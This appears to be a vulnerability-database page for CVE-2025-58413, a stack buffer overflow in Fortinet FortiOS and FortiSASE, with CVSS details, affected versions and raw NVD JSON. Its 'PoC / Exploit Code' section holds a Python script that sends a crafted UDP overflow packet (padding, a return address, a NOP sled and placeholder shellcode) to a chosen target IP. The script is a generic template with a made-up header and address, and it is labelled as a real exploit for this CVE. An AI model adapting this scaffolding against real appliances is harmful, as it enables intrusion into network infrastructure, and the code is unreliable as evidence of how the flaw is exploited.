Security Vulnerability Report
中文
CVE-2025-58413 CVSS 7.5 HIGH

CVE-2025-58413

Published: 2025-11-18 17:16:07
Last Modified: 2025-11-21 09:15:47

Description

A stack-based buffer overflow vulnerability in Fortinet FortiOS 7.6.0 through 7.6.3, FortiOS 7.4.0 through 7.4.8, FortiOS 7.2 all versions, FortiOS 7.0 all versions, FortiOS 6.4 all versions, FortiOS 6.2 all versions, FortiOS 6.0 all versions, FortiSASE 25.3.b allows attacker to execute unauthorized code or commands via specially crafted packets

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortisase:25.3.89:*:*:*:feature:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortisase:25.3.89:*:*:*:mature:*:*:* - VULNERABLE
FortiOS 7.6.0 - 7.6.3
FortiOS 7.4.0 - 7.4.8
FortiOS 7.2 所有版本
FortiOS 7.0 所有版本
FortiOS 6.4 所有版本
FortiOS 6.2 所有版本
FortiOS 6.0 所有版本
FortiSASE 25.3.b

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-58413 PoC - FortiOS Stack Buffer Overflow # Note: This is a conceptual PoC for educational purposes only # Must be used with explicit authorization import socket import struct import sys def create_exploit_packet(): """Generate malicious packet to trigger buffer overflow""" # Protocol header header = b'\x00' * 16 # Overflow payload - exceeds buffer boundary overflow_length = 1024 overflow_payload = b'A' * overflow_length # Overwrite return address (example address) return_addr = struct.pack('<Q', 0x0000000000401234) # NOP sled + Shellcode placeholder nop_sled = b'\x90' * 100 # Placeholder for actual shellcode - would contain reverse shell or command execution shellcode = b'\xcc' * 200 # INT3 for debugging # Construct final payload payload = header + overflow_payload + return_addr + nop_sled + shellcode return payload def send_exploit(target_ip, target_port=444): """Send exploit packet to target""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload = create_exploit_packet() sock.sendto(payload, (target_ip, target_port)) print(f'[+] Exploit packet sent to {target_ip}:{target_port}') print(f'[+] Payload size: {len(payload)} bytes') sock.close() return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python3 cve_2025_58413_poc.py <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 444 send_exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58413", "sourceIdentifier": "[email protected]", "published": "2025-11-18T17:16:06.557", "lastModified": "2025-11-21T09:15:47.290", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack-based buffer overflow vulnerability in Fortinet FortiOS 7.6.0 through 7.6.3, FortiOS 7.4.0 through 7.4.8, FortiOS 7.2 all versions, FortiOS 7.0 all versions, FortiOS 6.4 all versions, FortiOS 6.2 all versions, FortiOS 6.0 all versions, FortiSASE 25.3.b allows attacker to execute unauthorized code or commands via specially crafted packets"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "7.4.9", "matchCriteriaId": "DFD39229-768E-478E-B92C-BA5C69639338"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.4", "matchCriteriaId": "C1C30E0D-7F09-42D2-9EB1-E2196BD50D75"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisase:25.3.89:*:*:*:feature:*:*:*", "matchCriteriaId": "0E83E849-CE9B-4EFC-AD8B-DEED0C812073"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisase:25.3.89:*:*:*:mature:*:*:*", "matchCriteriaId": "C2949883-ED37-4DC8-8DC5-C4734C3CED00"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-632", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}